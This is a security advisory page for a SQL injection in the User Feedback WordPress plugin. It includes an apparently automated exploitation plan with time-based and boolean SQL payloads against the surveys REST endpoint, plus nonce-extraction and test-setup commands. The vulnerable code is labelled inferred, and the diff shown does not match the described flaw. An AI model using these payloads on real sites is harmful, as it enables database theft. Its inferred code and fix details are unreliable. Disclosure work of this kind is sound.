CVE-2026-39475

User Feedback <= 1.10.1 - Authenticated (Editor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.11.0
Patched in
55d
Time to patch

Description

The User Feedback plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.10.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.10.1
PublishedFebruary 20, 2026
Last updatedApril 15, 2026
Affected pluginuserfeedback-lite

What Changed in the Fix

Changes introduced in v1.11.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-39475 (User Feedback SQL Injection) ## 1. Vulnerability Summary The **User Feedback** plugin (version <= 1.10.1) is vulnerable to an **authenticated SQL injection** in its REST API backend. The vulnerability stems from the `orderby` parameter (or similar sort…

Show full research plan

Exploitation Research Plan - CVE-2026-39475 (User Feedback SQL Injection)

1. Vulnerability Summary

The User Feedback plugin (version <= 1.10.1) is vulnerable to an **authenticated SQL injection** in its REST API backend. The vulnerability stems from the orderby parameter (or similar sorting/filtering parameters) being concatenated directly into a SQL query within the survey management logic without proper validation or use of $wpdb->prepare(). Because wpdb->prepare() does not support dynamic identifiers like column names for ORDER BY clauses, the plugin fails to implement a whitelist, allowing Editor-level users to append malicious SQL.

2. Attack Vector Analysis

  • Endpoint: /wp-json/userfeedback/v1/surveys
  • HTTP Method: GET
  • Vulnerable Parameter: orderby
  • Authentication: Required (Editor, Author, or Administrator). The CVSS indicates PR:H, but the title says "Editor+", implying anyone with edit_posts or survey management capabilities.
  • Preconditions: At least one survey must exist in the database so that the vulnerable code path (fetching surveys) is executed.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user accesses the User Feedback dashboard, which triggers a GET request via the Vue.js frontend to the REST API: GET /wp-json/userfeedback/v1/surveys?orderby=id&order=desc.
  2. REST Controller: The request is handled by a class (likely UserFeedback_Rest_Surveys_Controller) registered during the rest_api_init hook.
  3. Parameter Extraction: The controller retrieves the orderby parameter from the WP_REST_Request object.
  4. SQL Sink: The parameter is passed to a data fetching method (e.g., in a UserFeedback_Surveys_Query class).
  5. Vulnerable Query: The code constructs a query similar to:
    $orderby = $request->get_param('orderby');
    $order = $request->get_param('order');
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}userfeedback_surveys ORDER BY $orderby $order");
    
  6. Injection: By providing a subquery for orderby, an attacker can execute time-based or boolean-based extraction.

4. Nonce Acquisition Strategy

The REST API requires a _wpnonce for authenticated requests (the wp_rest nonce).

  1. Authentication: Log in to WordPress as an Editor.
  2. Navigation: Navigate to the User Feedback Surveys page: /wp-admin/admin.php?page=userfeedback_surveys.
  3. Extraction: The WordPress REST API nonce is usually stored in the global wpApiSettings object.
  4. Tool: Use browser_eval to extract it:
    // Injected via the PoC agent
    browser_eval("window.wpApiSettings?.nonce")
    

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability.

Step 1: Baseline Request

Send a normal request to confirm the baseline response time.

  • URL: http://localhost:8080/wp-json/userfeedback/v1/surveys?orderby=id&order=asc
  • Header: X-WP-Nonce: [EXTRACTED_NONCE]

Step 2: Time-Based Payload

Inject a SLEEP() command into the orderby parameter.

  • Payload: (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Encoded URL: http://localhost:8080/wp-json/userfeedback/v1/surveys?orderby=%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29&order=asc

Step 3: Data Extraction (Proof of Concept)

Extract the first character of the database version.

  • Payload: (CASE WHEN (SUBSTRING(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)

6. Test Data Setup

  1. Create Editor User:
    wp user create attacker attacker@example.com --role=editor --user_pass=password
    
  2. Ensure Surveys Exist:
    The surveys table must have entries. Use the plugin's functionality or WP-CLI to ensure at least one survey is present.
    # (Inferred table name based on plugin slug)
    wp db query "INSERT INTO wp_userfeedback_surveys (title, status) VALUES ('Test Survey', 'publish');"
    
    Note: If the table doesn't exist, the agent should browse to the plugin settings to trigger table creation first.

7. Expected Results

  • Baseline: Response time < 500ms.
  • Exploit: Response time > 5000ms.
  • Response Body: A JSON array of survey objects (if the SQL syntax is valid) or an empty array.

8. Verification Steps

After performing the HTTP-based injection, verify the database structure to confirm the target table:

wp db query "DESCRIBE wp_userfeedback_surveys;"

Confirm the user role is indeed Editor:

wp user get attacker --field=roles

9. Alternative Approaches

If the surveys listing endpoint is patched or filtered:

  1. Endpoint: POST /wp-json/userfeedback/v1/surveys/trash

    • Vector: The survey_ids array parameter.
    • Payload: {"survey_ids": ["1) OR SLEEP(5)-- -"]}
    • Reasoning: Bulk actions often use implode() on an array and insert it into an IN (...) clause without preparing each individual element.
  2. Error-Based:
    If WP_DEBUG is on, try causing a syntax error to see if $wpdb->last_error is returned in the REST response:

    • orderby=id'" (Invalid quote)
    • Check response for: "message": "You have an error in your SQL syntax..."
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Feedback plugin for WordPress is vulnerable to SQL Injection in versions up to 1.10.1. This occurs because the `orderby` parameter in the surveys REST API endpoint is concatenated directly into a SQL query without proper sanitization or the use of `$wpdb->prepare()`. Authenticated attackers with Editor-level permissions can exploit this to perform time-based or boolean-based extraction of sensitive information from the database.

Vulnerable Code

// Inferred from Research Plan - REST API Controller for surveys listing
$orderby = $request->get_param('orderby');
$order = $request->get_param('order');
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}userfeedback_surveys ORDER BY $orderby $order");

---

// assets/vue/js/chunk-common.js: line 1 (truncated snippet identifying the API endpoint)
r=(e={})=>n.get("surveys",{params:e}).then(e=>e.data)

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/userfeedback-lite/1.10.1/assets/index.php /home/deploy/wp-safety.org/data/plugin-versions/userfeedback-lite/1.11.0/assets/index.php
--- /home/deploy/wp-safety.org/data/plugin-versions/userfeedback-lite/1.10.1/assets/index.php	2023-01-31 17:55:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/userfeedback-lite/1.11.0/assets/index.php	2026-03-11 17:04:32.000000000 +0000
@@ -1,4 +1,8 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 // Nothing to see here
 
 header( 'HTTP/1.0 403 Forbidden' );
... (truncated)

Exploit Outline

The exploit targets the `/wp-json/userfeedback/v1/surveys` REST API endpoint using a GET request. An attacker must first authenticate as an Editor (or any role with 'edit_posts' capabilities) and retrieve a valid WordPress REST API nonce (usually available in the `wpApiSettings.nonce` variable on the dashboard). The attacker then provides a malicious SQL payload to the `orderby` parameter, such as a subquery containing a `SLEEP()` function for time-based injection or a conditional `CASE` statement for boolean-based data extraction. Since the plugin fails to validate the `orderby` value against a whitelist before appending it to the query, the injected SQL is executed directly by the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.